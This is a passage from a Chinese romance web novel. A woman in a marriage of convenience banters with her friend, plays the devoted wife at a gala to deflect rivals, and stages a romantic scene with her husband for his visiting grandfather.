冯意柠只当没听到这话,看了眼窗外,起身。身后孟思栀连忙说:“这话不乐意听就算了,别跳车啊,不值当的!”冯意柠无奈解释:“到家了。”孟思栀这才发现车停了,后仰到靠座,揉了揉太阳穴:“我真是醉晕头了。” 外头雨一直没下来,空气里一阵闷热,这会酒意渐渐上涌,身上又燥又黏的。冯意柠一手拿着手机,回着工作电话,女式西装外套掉在地板上,另一手落在纤薄侧腰,很轻微的滋啦一声,拉链被拉开。黑色包臀裙落在纤细脚踝边。 “明早安排一场临时会议。”电话挂断的瞬间,冯意柠懒懒抬眸,却看到不应该出现在这里的高大男人。酒瞬间被吓个半醒,顺着目光下移。雪纺材质的衬衫松松垂下,半遮不遮一层薄纱蕾丝,往下是一双匀称白皙的长腿,膝尖泛着一层薄红。 第一反应是——完了。冯意柠只能佯装镇定地问:“你不是去国外出差?”裴时叙说:“临时取消。” 这么大的事儿她竟然不知道。冯意柠还没有开口,看到男人眸中没什么情绪,转身走开。 走进书房,裴时叙单手拧松深色领结,半露的冷白喉结上下滚了滚。垂眸看了眼,几分不耐蹙眉。暴雨前的天气太燥。 …… 过了会,站在沙发边的冯意柠,听到手机振动一声。 看清是一条消息。 【地板上脱衣秀的道具,记得收拾】 这会冯意柠总算像断线人偶重获生机,躬身,从脚边捡回包臀裙和外套,几缕乌黑碎发垂下,耳尖羞红。老男人这时候还不忘打趣她。 混蛋。 15、草莓印 深夜,冯意柠躺在床上,翻了个身,回想到家那会发生的事,脸颊微热,还有种一失足成千古恨的郁闷感觉。本来她是想等裴时叙出差回来,商量一下同住主卧的事情。这会她只能暗自庆幸,今晚还好是睡在客房,不用直面难以承受的尴尬。 第二天会议结束,项目进程很顺利,下班前成功敲定十二生肖为主题的盲盒概念宣传片。冯意柠自诩有个优点,公事私事分开处理,缺点也是公事处理完了,私事就会重新占据脑海。伸到眼前的手掌晃了晃。“在走什么神?” 冯意柠回神。 孟思栀提前预判说:“那行,是我走神,好吧?” "?"冯意柠说,“我有一个很重要的问题想问你。” “什么?我竟然预判错了。”孟思栀一脸讶意,“是什么重要的问题,你怎么一副如临大敌的表情?” 想到这,孟思栀大胆地发出猜测:“难道是,睡了?” 冯意柠沉思了几秒,口吻很认真:"比这严重。"孟思栀大惊:“还能比这严重?”冯意柠问:“如果有一个人,手上掌握了你的黑历史……”还没等冯意柠完全说完,孟思栀冷酷地说:“灭口。” 冯意柠深以为然,但也就是想想。直到走到车前,孟思栀用手臂戳了戳她的肩膀:“现在四下无人,你可以放心给栀栀姐姐倾诉了。”于是上车后,冯意柠把昨晚“脱衣秀”那事说了。孟思栀一直在憋笑,举起大拇指:“你老公这嘴建议捐了,留下来害己害人,为国还能做奉献。” 过了会,孟思栀又问:“你那时候就没想过反击?” 她那时候简直都想撤离地球了,别提反击了,表面镇定是最后的保护色,冯意柠虚心请教:“怎么反击?” 孟思栀支招道:“当然是先发制人,有你这种大美人在面前,直接钓得他找不到北,只要尴尬的是你们两个人,那就相当于没有尴尬这件事。” 这个“相对论”理解得很透彻,冯意柠由衷地说:“那尴尬的只有我,和一个想把我打包丢出门的塑料老公。” 孟思栀问:“你家庭地位这么低呢?” “这不行。”还没等冯意柠回答,孟思栀又说,“你家小嫂嫂那套,你是整不来,去问问你家二表嫂呢?连你二表哥那种混不吝都能被收服。” 让步这回事,多在那么一个“爱”字上,让古板者破戒,浪荡者俯首,至于他们顶多就算是利益合作伙伴。 冯意柠想了想:“我觉得还有个更有效的办法。” 孟思栀问:“什么法子?” 冯意柠说:“我决定失忆,把这段记忆从脑海里删掉。” “…….” 晚些时候,冯意柠跟孟思栀去换晚宴礼服,孟思栀特意为她请来一支造型团队。 结束后,车后座升起挡板,孟思栀示意冯意柠可以大胆发问了。 冯意柠问:"需要这么隆重吗?" 孟思栀说:"当然了,今晚可是揭晓下注的重要时刻。" 不说冯意柠都快要忘了,那晚这群公主少爷们在群里下注的事情,后来这群人非但没有消停,还把她和裴时叙双双很客气地请出群。之后听思思说过他们调转了下注的反向,往“相处是她黏人还是裴时叙黏人”、“几句话她会被裴时叙气到到离席”、“浓情蜜意是不是能坚持到一小时”等等之类五花八门的话题。也不知道他们是钱太多了,还是最近临北实在太无聊了。 思及此,冯意柠审视着自家发小:“你是不是下注了?”孟思栀说:“那当然,你是我的好姐妹,有关你的事情,我怎么能袖口旁观。”话是好话,用在这里就是诡辩的意思,冯意柠凭借记忆发问:“相处黏人是我还是裴时叙黏人?”孟思栀毫不犹豫回答:“你黏人。”冯意柠:"?" 孟思栀有理有据地说:“那是因为你有礼貌,知书达理,善解人意,温柔大方,不像你那个倨傲冷情的老公,见面肯定会好好打招呼的。”话很动听,冯意柠笑了笑:"接受你的狡辩。" “怎么算是狡辩呢。”孟思栀说,“精神上我当然无条件支持你。”冯意柠说:“物质和精神各过各的。”孟思栀笑道:“你懂我。” “就比如浓情蜜意能不能坚持到一小时,还一小时,我看一整晚都行,那场婚礼还不够看的吗?” 孟思栀说着,突然想起件事:“今晚汤大小姐和汤二都会来,那次广场大屏的事儿,你老公做得算是 高调又嚣张,好消息是想给你这个初来乍到的小冯总立规矩的人消停,坏消息呢,就是多少人明里暗里眼红,很招人嫉恨啊。”“要是继承家业,有衡思、你大哥保驾护航,哪还有外头这么多事儿。” 冯意柠有意逗她:“孟小姐后悔了?”“小瞧你孟小姐了。”孟思栀说,“我还就是喜欢不安生,喜欢折腾。” 说完,孟思栀闭眼养神,今晚开了一天的会,她都累到了,也就是旁边这个小工作狂,这会还能有精力处理工作消息。孟思栀没睁眼,提醒:“小心汤二啊,出了名的小心眼。”冯意柠说:"人若犯我,不是还有塑料老公可以当挡箭牌吗?"孟思栀很满意这个回答:“很有觉悟。” 晚宴上熟人不少,冯意柠一进去,就切换寒暄社交模式,主要目标是合作伙伴、以及未来潜在合作伙伴。完成了任务后,冯意柠就去找窝在角落里看热闹八卦的孟思栀。 孟思栀见好友来了,朝她使了个眼色。 冯意柠循着目光瞥去,一眼就看到她那位鹤立鸡群的塑料老公——身着质地讲究的手工深色西装,过深五官被顶灯映下半明半暗的光影,神情冷淡,难掩上位者的矜贵,很有老电影的质感。 而旁边站着眸光亦步亦趋的姑娘,微仰着头讲话。正是汤二的亲妹妹,那位汤小姐。 孟思栀问:“两个人这是在说什么呢?”冯意柠也跟着多看了眼:“再探再报。”孟思栀:“?”她还想八卦来着,结果正宫本人在角落里,吃瓜八卦得比谁都来劲。 “你一点反应都没有?” “你提醒我了。”冯意柠敛了唇角浅浅的笑意,“我现在应该觉得很委屈很生气,是一种想闹脾气又爱惨 了渣男,却告诉自己要委曲求全的矛盾情感。” 孟思栀:“?”哪来的三俗剧本,编剧给差评,多半颗星都是对编剧大人的不尊重,还一秒变脸是吧。 “都是自个写的剧本了,为什么不来个爽一点的人设?” “很好的提议。”冯意柠说,“可是这样爽完了,我就不能站在道德制高点上,拿什么跟塑料老公谈判?我最近看上了景越一个新合作线上渠道,跟综艺和直播 挂钩,给我们工作室拿来做宣传正好。”“……”孟思栀沉默了几秒,真的深深要为这个工作脑折服了,“我现在无比相信你,一定可以带领我们工作室走向辉煌。” 还在说着,孟思栀看到那姑娘抿着唇,眼眶也变得微红,八卦魂顿时一激灵:“哎,这是说什么了?都快说哭了。”“你老公当场骂她了?” 这场面,冯意柠想起有一回在家里,男人眸中没什么情绪,语调慢条斯理,把电话那头的负责人训得大气不敢吭。就像跟现在和姑娘讲话,这般不近人情的神情。 “你老公来了,我把战场留给你。”孟思栀开溜前,低声留下句,“加油,塑料老公的小娇妻。” "牢记你自己定好的人设。" 过了会,直到男人走到身边,冯意柠还垂着眸,拿起一块精挑细选的草莓蛋糕,递到他的面前。 "老公,吃蛋糕吗?这块草莓很新鲜。" 甜味太重,裴时叙微微蹙眉。 “忘了老公不爱甜。”冯意柠又把蛋糕拿了回来,“我还是自己吃吧。” 这姑娘压根就不是真心实意想给,裴时叙懒得计较:“不问问?”冯意柠说:“我知道你做事都有道理,不用跟我解释,就算大庭广众之下,你放着老婆不理,陪别的女人讲话,老公,我还是愿意相信你的。”“……”裴时叙问,“又想要什么?” 冯意柠问:“难道我在老公眼里就是这样的人吗?”裴时叙淡瞥了眼:“过期不候。” “……”老男人好没有耐心,冯意柠连忙切换回正常模式,把渠道合作那事跟男人都说了。 裴时叙听完:“回头跟群安说。”冯意柠说:“好,我明天就找时间跟裴特助联系。”转眸,瞥见男人唇角极淡地轻掀。“就为这么点小事儿,裴太太够努力。” 既然达到了目的,冯意柠也不柔弱无助又可怜了,心想要是早知道男人这么爽快,她也不用演了。转念又说:“你该不会就吃柔弱不能自理的这款吧?”裴时叙说:"太假。"“……”这人好不给一点面子。又听到他说:“不过看柠柠这么努力,比旁人有看头多了。” 合着拿她当消遣,冯意柠对刚刚那事评价:“没有男德。”“我既然是裴太太,在外说什么,你都要给我面子。”裴时叙饶有兴致地瞥她:“不装了?” 冯意柠微仰着头,白皙指尖轻点过男人的深色领带:“老公,你在外面的桃花,自己要学会处理干净。”“不然,睡书房,跪榴莲,写检讨,赶出新房,等着老公四选一。” 裴时叙手臂揽过纤薄腰身,稍稍躬身,在外人看来,这是个充满亲昵和占有欲的动作。借着这个动作,冯意柠看清直直朝他们走来的汤二。"来者不善啊,这是。"男人似是低笑了声,俯身耳畔,低沉冷感的嗓音落下。“柠柠,吃个醋,让他们好好领教你的本事儿。” 本来只想看热闹的冯意柠,推脱:“我在外面的人设,难道不是端庄温柔、善解人意的裴太太吗?”裴时叙说:“刚不是演的很精彩。”冯意柠解释:"人设这种东西很难变。"裴时叙说:“那就现在变。”冯意柠:“……?”侧腰被更紧地揽住,抹杀了冯意柠想走开的可能性,认命地问:“变哪种?”裴时叙口吻意味深长:“柔弱不能自理的小娇妻。”“……”这词是这样乱用的吗? “咳咳。”旁边传来含混刻意的清嗓声。谢从洲刚巧经过,拍了拍男人肩膀:“大庭广众,别这么黏得紧,一会把我这三表妹给搂得喘不上气了。” 当事人没说话,薄蔺舟倒是先笑了:“稀奇,这儿好像最没资格说这话的,反倒先传授起了经验。”谢从洲稍挑眉头:“蔺舟哥,这会就能发现你单身多年的关窍,说起来,你还得跟我说一句多谢。”薄蔺舟说:“走吧,别杵这儿挡新婚夫妻的眼。” 冯意柠手指抵在微翘唇边,心想这群男人嘴上真没一个是省油的灯,碰着一起,说不准到底是哪个恶人被磨。 等这两人走开。“三小姐,别来无恙啊。”冯意柠转眸,这才像是看到了走到面前的男人。汤庄达问:“不记得了?” 冯意柠说:“怎么会?汤副总说笑了,临北谁不认识您。” 汤庄达神情有瞬难看,很快变回往常的模样,意有所指地说:“酒吧那晚,不少男模上前搭讪,我本 想打个招呼,只是三小姐瞧着相谈甚欢,没注意到我也是正常的事。” “老公。”冯意柠转头,轻拉了拉男人的尾指,“那晚我不该跟你闹脾气,其实那些男模我都没想看的,就是想让你吃醋,想知道你有多在乎我。”“我觉得汤副总说得很对,夫妻之间应该有话说开,多一点信任,我知道你会原谅我的,对吧?”搞事却成旁观的汤庄达:“……”他什么时候表达过这意思了? 冯意柠感觉脸上殷殷恳切的神情都快僵了,可裴时叙只垂眸瞥着她,只能暗戳戳轻捏了下男人的尾指。 意味很明显——塑料老公,给点反应。 下一刻,纤细手指被攥紧,另一只大掌伸来,等冯意柠反应过来的时候,侧脸已经贴上心心念念的胸.肌触感。“失陪,太太醉了。”压根没醉的冯意柠,很配合一秒入戏,微阖眼眸,两条手臂揽过男人脖颈,整个人被拦腰抱起。 车窗外夜色绰绰,冯意柠坐在后座,看到孟思栀带给自己的第一手新鲜八卦。【某柠某柠,呼叫某柠!】【靠孟小姐的人脉,我给你打听到了你老公当时都跟汤小姐说了些什么!面对多年追求不得的小妹妹,你老公头回愿意多说上两句话,结果开口问的是怎么哄老婆!杀人诛心这手段,没人比得上你老公】饶是冯意柠有过几个好奇猜想,这会知道了真相,还是震撼这男人的手段。真的非常人能匹及。 【某柠,说实话,追你老公的人还真的不少】【我以前完全不能理解,现在想想,可能就是正因为太难驾驭,太难搞,太不近人情,所以才会激起征服欲,一个倨傲到极点的男人,为爱痴狂,太有看头了】 冯意柠仿佛看到了什么荒谬的笑话。【为爱痴狂?】【你忘了,他对人类没兴趣的】 孟思栀对她有很大理想和期望。【你去搞定他】【玩腻他】【踹了他】 冯意柠诚实回复。【我不行】 孟思栀:【女人不可以说自己不行!】冯意柠:【人要学会自我保护】冯意柠:【手捧莲心jpg】孟思栀:【……】 刚哄完这位祖宗,冯意柠又看到裴爷爷发给自己的消息。【柠柠,最近怎么样?】【阿叙这小子有没有欺负你?】【跟裴爷爷说,我帮你教训他!】 冯意柠微弯眼眸,跟裴爷爷聊完后,心里想着要跟裴时叙通个气。偏头,却看到男人微微蹙眉,垂眸处理着工作消息。不知道又有哪个倒霉蛋要挨训了。 冯意柠不想去触霉头,想着回头再提一嘴,也低头,处理起工作消息。 这几天太累,处理完消息那刻,那根弦一松,酒意和困意卷到一处。 等冯意柠再次醒来的时候,发现身上披着深色西装外套,整个人被那股清冽的冷调气味完全笼罩。 冯意柠缓缓眨了下惺忪眼眸,看到男人朝她瞥来,刚睡醒,嗓音含着点微哑。“我记得有件事要跟你说。” 裴时叙问:“什么?”冯意柠微揪眉头,她记得还挺重要,却怎么都想不起来了:“不记得了。” 正在钝钝的脑海里搜索时,身边这侧车门被拉开。修长指骨轻叩了下车窗,冯意柠抬眼,看到男人随意站在车外,衣袖半挽起,露出一截冷白分明的腕骨。"怎么,要我抱老婆下车?" 冯意柠瞥着这个男人,刚刚宴会还上赶着宠溺纵容,现在比一块冰还冷。真不是双重人格? 对视中,冯意柠由衷地说:“我觉得,奥斯卡欠你一个最佳男主角。”裴时叙说:“彼此。” “抱就不用了,毕竟这几天看老公特种兵行程,今儿也没歇到,体力可能跟不上,不忍心老公太辛苦。”很拙劣的激将法,冯意柠也就是仗着年纪小,知道男人没办法跟个小醉鬼计较,语调温温柔柔的,颇有些有恃无恐。 只是冯意柠刚探出车半边身子,眼前便一晃,被男人拦腰抱起。猝不及防的悬空感,迫使她下意识伸手紧紧环住男人的脖颈。 几缕乌黑发丝被风轻扬起,继而传来车门被关上的声音,冯意柠叫了他一句:"裴时叙。"没等到回应。 冯意柠便自顾自地控诉:“你是不是不能允许别人跟你唱反调?”“你很独裁。”“控制欲太强。” 直到走进电梯,头顶才传来男人冷感的嗓音:“很吵。”冯意柠说:“第二次说我很吵。” “这会耳清目明,不装记不清了?” “……”“醉鬼。”“………” 直到走到沙发边,冯意柠说要下来。裴时叙任由这姑娘从怀里下来,转身要走,却被扯住衣袖。 冯意柠说:“我想起来忘记的事了,刚刚裴爷爷给我发消息,话里话外都在打听我们的感情生活,特别在意我们有没有分房睡。” 裴时叙饶有兴致地瞥了她一眼:“你怎么回的?”冯意柠被这眼看的有些没底:“当然是暗示同床共枕,浓情蜜意。”“自讨苦吃。”裴时叙说,“老爷子这会多半已经到了门外。” “…?”这么丧心病狂的吗? 正当此时,被随手发在茶几上的手机屏幕亮起,来电人是裴爷爷。 电话没打通自动挂断。紧接着消息进来。【柠柠,裴爷爷在门外】 冯意柠当机立断:“我的东西还在客房,我去把枕头和洗漱用品放过去。”等快速放完东西,冯意柠转眼,看到男人把床被随意展开一扔,半边垂到地上,一只枕头东倒西歪,而另外一只枕头甚至掉到地上。 冯意柠跟着裴时叙走出房间,一路朝着客厅走去,看到男人解开袖扣,随意地扔到地上。 “这是?” 裴时叙口吻淡淡:"新婚夫妇共处一室,这么久不接电话,不开门,是在做什么?" 冯意柠瞬间了然。 裴时叙伸手扯下深色领结,动作很散漫随性,却不显得粗鲁急切,冷白分明的喉结露了出来,甚至崩掉了顶上一颗纽扣。从玄关到客厅,外套、领结、袖扣等物品掉落一地。 冯意柠很配合地揉散发丝,抹开唇角口红,抬眼又看到男人这副不正经的“事中被打断模样”,想了想,觉得少了那么一点灵魂。“配合我一下,行吗?” 裴时叙不可置否。 冯意柠从拎包里拿出一支口红:"等下,我补点颜色。" 等补好唇色,冯意柠踮脚,在男人领口印落半个唇印,又用指腹蹭了点口红,一手撑在臂弯,温声提醒:“我用过的口红,知道你有洁癖,忍几秒就好,实在不行可以闭眼。” 裴时叙薄唇微启:“用不着。”既然当事人同意,冯意柠认真晕开后解释:“这是激.吻妆,有效逼真。” 冯意柠把口红装进拎包,特意没关严,往地板上随意一丢,为刚进玄关就迫不及待激.战的伪造现场提供新的证物。做完,冯意柠认真询问:“现在可以开门了,你开门,我跟在后面?” 却被拉住手臂,冯意柠微微偏头。 裴时叙懒靠着墙,修长手指拉开微敞领口,稍点颈侧,口吻几分漫不经心。 “咬这,重点。”